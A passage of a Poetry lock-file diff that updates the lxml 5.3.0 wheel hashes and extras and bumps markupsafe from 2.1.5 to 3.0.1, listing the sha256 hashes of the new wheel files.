"sha256:482c2f67761868f0108b1743098640fbb2a28a8e15bf3f47ada9fa59d9fe08c3"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:1483fd3358963cc5c1c9b122c80606a3a79ee0875bcac0204149fa09d6ff2727"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2dec2d1130a9cda5b904696cec33b2cfb451304ba9081eeda7f90f724097300a"}, + {file = "lxml-5.3.0-cp39-cp39-win32.whl", hash = "sha256:a0eabd0a81625049c5df745209dc7fcef6e2aea7793e5f003ba363610aa0a3ff"}, + {file = "lxml-5.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:89e043f1d9d341c52bf2af6d02e6adde62e0a46e6755d5eb60dc6e4f0b8aeca2"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7b1cd427cb0d5f7393c31b7496419da594fe600e6fdc4b105a54f82405e6626c"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:51806cfe0279e06ed8500ce19479d757db42a30fd509940b1701be9c86a5ff9a"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee70d08fd60c9565ba8190f41a46a54096afa0eeb8f76bd66f2c25d3b1b83005"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:8dc2c0395bea8254d8daebc76dcf8eb3a95ec2a46fa6fae5eaccee366bfe02ce"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6ba0d3dcac281aad8a0e5b14c7ed6f9fa89c8612b47939fc94f80b16e2e9bc83"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:6e91cf736959057f7aac7adfc83481e03615a8e8dd5758aa1d95ea69e8931dba"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:94d6c3782907b5e40e21cadf94b13b0842ac421192f26b84c45f13f3c9d5dc27"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c300306673aa0f3ed5ed9372b21867690a17dba38c68c44b287437c362ce486b"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78d9b952e07aed35fe2e1a7ad26e929595412db48535921c5013edc8aa4a35ce"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:01220dca0d066d1349bd6a1726856a78f7929f3878f7e2ee83c296c69495309e"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2d9b8d9177afaef80c53c0a9e30fa252ff3036fb1c6494d427c066a4ce6a282f"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:20094fc3f21ea0a8669dc4c61ed7fa8263bd37d97d93b90f28fc613371e7a875"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ace2c2326a319a0bb8a8b0e5b570c764962e95818de9f259ce814ee666603f19"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:92e67a0be1639c251d21e35fe74df6bcc40cba445c2cda7c4a967656733249e2"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd5350b55f9fecddc51385463a4f67a5da829bc741e38cf689f38ec9023f54ab"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c1fefd7e3d00921c44dc9ca80a775af49698bbfd92ea84498e56acffd4c5469"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:71a8dd38fbd2f2319136d4ae855a7078c69c9a38ae06e0c17c73fd70fc6caad8"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:97acf1e1fd66ab53dacd2c35b319d7e548380c2e9e8c54525c6e76d21b1ae3b1"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:68934b242c51eb02907c5b81d138cb977b2129a0a75a8f8b60b01cb8586c7b21"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b710bc2b8292966b23a6a0121f7a6c51d45d2347edcc75f016ac123b8054d3f2"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18feb4b93302091b1541221196a2155aa296c363fd233814fa11e181adebc52f"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:3eb44520c4724c2e1a57c0af33a379eee41792595023f367ba3952a2d96c2aab"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:609251a0ca4770e5a8768ff902aa02bf636339c5a93f9349b48eb1f606f7f3e9"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:516f491c834eb320d6c843156440fe7fc0d50b33e44387fcec5b02f0bc118a4c"}, + {file = "lxml-5.3.0.tar.gz", hash = "sha256:4e109ca30d1edec1ac60cdbe341905dc3b8f55b16855e03a54aaf59e51ec8c6f"}, ] [package.extras] cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml-html-clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] -source = ["Cython (>=0.29.35)"] +source = ["Cython (>=3.0.11)"] [[package]] name = "markdown-it-py" @@ -1114,71 +1199,72 @@ testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] [[package]] name = "markupsafe" -version = "2.1.5" +version = "3.0.1" description = "Safely add untrusted strings to HTML/XML markup." optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" files = [ - {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a17a92de5231666cfbe003f0e4b9b3a7ae3afb1ec2845aadc2bacc93ff85febc"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72b6be590cc35924b02c78ef34b467da4ba07e4e0f0454a2c5907f473fc50ce5"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e61659ba32cf2cf1481e575d0462554625196a1f2fc06a1c777d3f48e8865d46"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2174c595a0d73a3080ca3257b40096db99799265e1c27cc5a610743acd86d62f"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae2ad8ae6ebee9d2d94b17fb62763125f3f374c25618198f40cbb8b525411900"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:075202fa5b72c86ad32dc7d0b56024ebdbcf2048c0ba09f1cde31bfdd57bcfff"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:598e3276b64aff0e7b3451b72e94fa3c238d452e7ddcd893c3ab324717456bad"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fce659a462a1be54d2ffcacea5e3ba2d74daa74f30f5f143fe0c58636e355fdd"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-win32.whl", hash = "sha256:d9fad5155d72433c921b782e58892377c44bd6252b5af2f67f16b194987338a4"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-win_amd64.whl", hash = "sha256:bf50cd79a75d181c9181df03572cdce0fbb75cc353bc350712073108cba98de5"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:629ddd2ca402ae6dbedfceeba9c46d5f7b2a61d9749597d4307f943ef198fc1f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b7b716f97b52c5a14bffdf688f971b2d5ef4029127f1ad7a513973cfd818df2"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ec585f69cec0aa07d945b20805be741395e28ac1627333b1c5b0105962ffced"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b91c037585eba9095565a3556f611e3cbfaa42ca1e865f7b8015fe5c7336d5a5"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7502934a33b54030eaf1194c21c692a534196063db72176b0c4028e140f8f32c"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0e397ac966fdf721b2c528cf028494e86172b4feba51d65f81ffd65c63798f3f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c061bb86a71b42465156a3ee7bd58c8c2ceacdbeb95d05a99893e08b8467359a"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3a57fdd7ce31c7ff06cdfbf31dafa96cc533c21e443d57f5b1ecc6cdc668ec7f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-win32.whl", hash = "sha256:397081c1a0bfb5124355710fe79478cdbeb39626492b15d399526ae53422b906"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-win_amd64.whl", hash = "sha256:2b7c57a4dfc4f16f7142221afe5ba4e093e09e728ca65c51f5620c9aaeb9a617"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:8dec4936e9c3100156f8a2dc89c4b88d5c435175ff03413b443469c7c8c5f4d1"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3c6b973f22eb18a789b1460b4b91bf04ae3f0c4234a0a6aa6b0a92f6f7b951d4"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac07bad82163452a6884fe8fa0963fb98c2346ba78d779ec06bd7a6262132aee"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5dfb42c4604dddc8e4305050aa6deb084540643ed5804d7455b5df8fe16f5e5"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea3d8a3d18833cf4304cd2fc9cbb1efe188ca9b5efef2bdac7adc20594a0e46b"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d050b3361367a06d752db6ead6e7edeb0009be66bc3bae0ee9d97fb326badc2a"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:bec0a414d016ac1a18862a519e54b2fd0fc8bbfd6890376898a6c0891dd82e9f"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:58c98fee265677f63a4385256a6d7683ab1832f3ddd1e66fe948d5880c21a169"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-win32.whl", hash = "sha256:8590b4ae07a35970728874632fed7bd57b26b0102df2d2b233b6d9d82f6c62ad"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-win_amd64.whl", hash = "sha256:823b65d8706e32ad2df51ed89496147a42a2a6e01c13cfb6ffb8b1e92bc910bb"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c8b29db45f8fe46ad280a7294f5c3ec36dbac9491f2d1c17345be8e69cc5928f"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec6a563cff360b50eed26f13adc43e61bc0c04d94b8be985e6fb24b81f6dcfdf"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a549b9c31bec33820e885335b451286e2969a2d9e24879f83fe904a5ce59d70a"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4f11aa001c540f62c6166c7726f71f7573b52c68c31f014c25cc7901deea0b52"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7b2e5a267c855eea6b4283940daa6e88a285f5f2a67f2220203786dfa59b37e9"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2d2d793e36e230fd32babe143b04cec8a8b3eb8a3122d2aceb4a371e6b09b8df"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ce409136744f6521e39fd8e2a24c53fa18ad67aa5bc7c2cf83645cce5b5c4e50"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-win32.whl", hash = "sha256:4096e9de5c6fdf43fb4f04c26fb114f61ef0bf2e5604b6ee3019d51b69e8c371"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-win_amd64.whl", hash = "sha256:4275d846e41ecefa46e2015117a9f491e57a71ddd59bbead77e904dc02b1bed2"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:656f7526c69fac7f600bd1f400991cc282b417d17539a1b228617081106feb4a"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:97cafb1f3cbcd3fd2b6fbfb99ae11cdb14deea0736fc2b0952ee177f2b813a46"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f3fbcb7ef1f16e48246f704ab79d79da8a46891e2da03f8783a5b6fa41a9532"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa9db3f79de01457b03d4f01b34cf91bc0048eb2c3846ff26f66687c2f6d16ab"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffee1f21e5ef0d712f9033568f8344d5da8cc2869dbd08d87c84656e6a2d2f68"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:5dedb4db619ba5a2787a94d877bc8ffc0566f92a01c0ef214865e54ecc9ee5e0"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:30b600cf0a7ac9234b2638fbc0fb6158ba5bdcdf46aeb631ead21248b9affbc4"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8dd717634f5a044f860435c1d8c16a270ddf0ef8588d4887037c5028b859b0c3"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-win32.whl", hash = "sha256:daa4ee5a243f0f20d528d939d06670a298dd39b1ad5f8a72a4275124a7819eff"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-win_amd64.whl", hash = "sha256:619bc166c4f2de5caa5a633b8b7326fbe98e0ccbfacabd87268a2b15ff73a029"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7a68b554d356a91cce1236aa7682dc01df0edba8d043fd1ce607c49dd3c1edcf"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:db0b55e0f3cc0be60c1f19efdde9a637c32740486004f20d1cff53c3c0ece4d2"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e53af139f8579a6d5f7b76549125f0d94d7e630761a2111bc431fd820e163b8"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17b950fccb810b3293638215058e432159d2b71005c74371d784862b7e4683f3"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c31f53cdae6ecfa91a77820e8b151dba54ab528ba65dfd235c80b086d68a465"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bff1b4290a66b490a2f4719358c0cdcd9bafb6b8f061e45c7a2460866bf50c2e"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bc1667f8b83f48511b94671e0e441401371dfd0f0a795c7daa4a3cd1dde55bea"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5049256f536511ee3f7e1b3f87d1d1209d327e818e6ae1365e8653d7e3abb6a6"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-win32.whl", hash = "sha256:00e046b6dd71aa03a41079792f8473dc494d564611a8f89bbbd7cb93295ebdcf"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-win_amd64.whl", hash = "sha256:fa173ec60341d6bb97a89f5ea19c85c5643c1e7dedebc22f5181eb73573142c5"}, - {file = "MarkupSafe-2.1.5.tar.gz", hash = "sha256:d283d37a890ba4c1ae73ffadf8046435c76e7bc2247bbb63c00bd1a709c6544b"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:db842712984e91707437461930e6011e60b39136c7331e971952bb30465bc1a1"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3ffb4a8e7d46ed96ae48805746755fadd0909fea2306f93d5d8233ba23dda12a"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67c519635a4f64e495c50e3107d9b4075aec33634272b5db1cde839e07367589"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48488d999ed50ba8d38c581d67e496f955821dc183883550a6fbc7f1aefdc170"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f31ae06f1328595d762c9a2bf29dafd8621c7d3adc130cbb46278079758779ca"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:80fcbf3add8790caddfab6764bde258b5d09aefbe9169c183f88a7410f0f6dea"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3341c043c37d78cc5ae6e3e305e988532b072329639007fd408a476642a89fd6"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cb53e2a99df28eee3b5f4fea166020d3ef9116fdc5764bc5117486e6d1211b25"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-win32.whl", hash = "sha256:db15ce28e1e127a0013dfb8ac243a8e392db8c61eae113337536edb28bdc1f97"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:4ffaaac913c3f7345579db4f33b0020db693f302ca5137f106060316761beea9"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:26627785a54a947f6d7336ce5963569b5d75614619e75193bdb4e06e21d447ad"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b954093679d5750495725ea6f88409946d69cfb25ea7b4c846eef5044194f583"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:973a371a55ce9ed333a3a0f8e0bcfae9e0d637711534bcb11e130af2ab9334e7"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:244dbe463d5fb6d7ce161301a03a6fe744dac9072328ba9fc82289238582697b"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d98e66a24497637dd31ccab090b34392dddb1f2f811c4b4cd80c230205c074a3"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ad91738f14eb8da0ff82f2acd0098b6257621410dcbd4df20aaa5b4233d75a50"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7044312a928a66a4c2a22644147bc61a199c1709712069a344a3fb5cfcf16915"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a4792d3b3a6dfafefdf8e937f14906a51bd27025a36f4b188728a73382231d91"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-win32.whl", hash = "sha256:fa7d686ed9883f3d664d39d5a8e74d3c5f63e603c2e3ff0abcba23eac6542635"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:9ba25a71ebf05b9bb0e2ae99f8bc08a07ee8e98c612175087112656ca0f5c8bf"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:8ae369e84466aa70f3154ee23c1451fda10a8ee1b63923ce76667e3077f2b0c4"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40f1e10d51c92859765522cbd79c5c8989f40f0419614bcdc5015e7b6bf97fc5"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a4cb365cb49b750bdb60b846b0c0bc49ed62e59a76635095a179d440540c346"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee3941769bd2522fe39222206f6dd97ae83c442a94c90f2b7a25d847d40f4729"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62fada2c942702ef8952754abfc1a9f7658a4d5460fabe95ac7ec2cbe0d02abc"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c2d64fdba74ad16138300815cfdc6ab2f4647e23ced81f59e940d7d4a1469d9"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:fb532dd9900381d2e8f48172ddc5a59db4c445a11b9fab40b3b786da40d3b56b"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0f84af7e813784feb4d5e4ff7db633aba6c8ca64a833f61d8e4eade234ef0c38"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-win32.whl", hash = "sha256:cbf445eb5628981a80f54087f9acdbf84f9b7d862756110d172993b9a5ae81aa"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:a10860e00ded1dd0a65b83e717af28845bb7bd16d8ace40fe5531491de76b79f"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e81c52638315ff4ac1b533d427f50bc0afc746deb949210bc85f05d4f15fd772"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:312387403cd40699ab91d50735ea7a507b788091c416dd007eac54434aee51da"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2ae99f31f47d849758a687102afdd05bd3d3ff7dbab0a8f1587981b58a76152a"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c97ff7fedf56d86bae92fa0a646ce1a0ec7509a7578e1ed238731ba13aabcd1c"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7420ceda262dbb4b8d839a4ec63d61c261e4e77677ed7c66c99f4e7cb5030dd"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:45d42d132cff577c92bfba536aefcfea7e26efb975bd455db4e6602f5c9f45e7"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4c8817557d0de9349109acb38b9dd570b03cc5014e8aabf1cbddc6e81005becd"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6a54c43d3ec4cf2a39f4387ad044221c66a376e58c0d0e971d47c475ba79c6b5"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-win32.whl", hash = "sha256:c91b394f7601438ff79a4b93d16be92f216adb57d813a78be4446fe0f6bc2d8c"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:fe32482b37b4b00c7a52a07211b479653b7fe4f22b2e481b9a9b099d8a430f2f"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:17b2aea42a7280db02ac644db1d634ad47dcc96faf38ab304fe26ba2680d359a"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:852dc840f6d7c985603e60b5deaae1d89c56cb038b577f6b5b8c808c97580f1d"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0778de17cff1acaeccc3ff30cd99a3fd5c50fc58ad3d6c0e0c4c58092b859396"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:800100d45176652ded796134277ecb13640c1a537cad3b8b53da45aa96330453"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d06b24c686a34c86c8c1fba923181eae6b10565e4d80bdd7bc1c8e2f11247aa4"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:33d1c36b90e570ba7785dacd1faaf091203d9942bc036118fab8110a401eb1a8"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:beeebf760a9c1f4c07ef6a53465e8cfa776ea6a2021eda0d0417ec41043fe984"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:bbde71a705f8e9e4c3e9e33db69341d040c827c7afa6789b14c6e16776074f5a"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-win32.whl", hash = "sha256:82b5dba6eb1bcc29cc305a18a3c5365d2af06ee71b123216416f7e20d2a84e5b"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-win_amd64.whl", hash = "sha256:730d86af59e0e43ce277bb83970530dd223bf7f2a838e086b50affa6ec5f9295"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:4935dd7883f1d50e2ffecca0aa33dc1946a94c8f3fdafb8df5c330e48f71b132"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e9393357f19954248b00bed7c56f29a25c930593a77630c719653d51e7669c2a"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40621d60d0e58aa573b68ac5e2d6b20d44392878e0bfc159012a5787c4e35bc8"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f94190df587738280d544971500b9cafc9b950d32efcb1fba9ac10d84e6aa4e6"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b6a387d61fe41cdf7ea95b38e9af11cfb1a63499af2759444b99185c4ab33f5b"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8ad4ad1429cd4f315f32ef263c1342166695fad76c100c5d979c45d5570ed58b"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e24bfe89c6ac4c31792793ad9f861b8f6dc4546ac6dc8f1c9083c7c4f2b335cd"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = 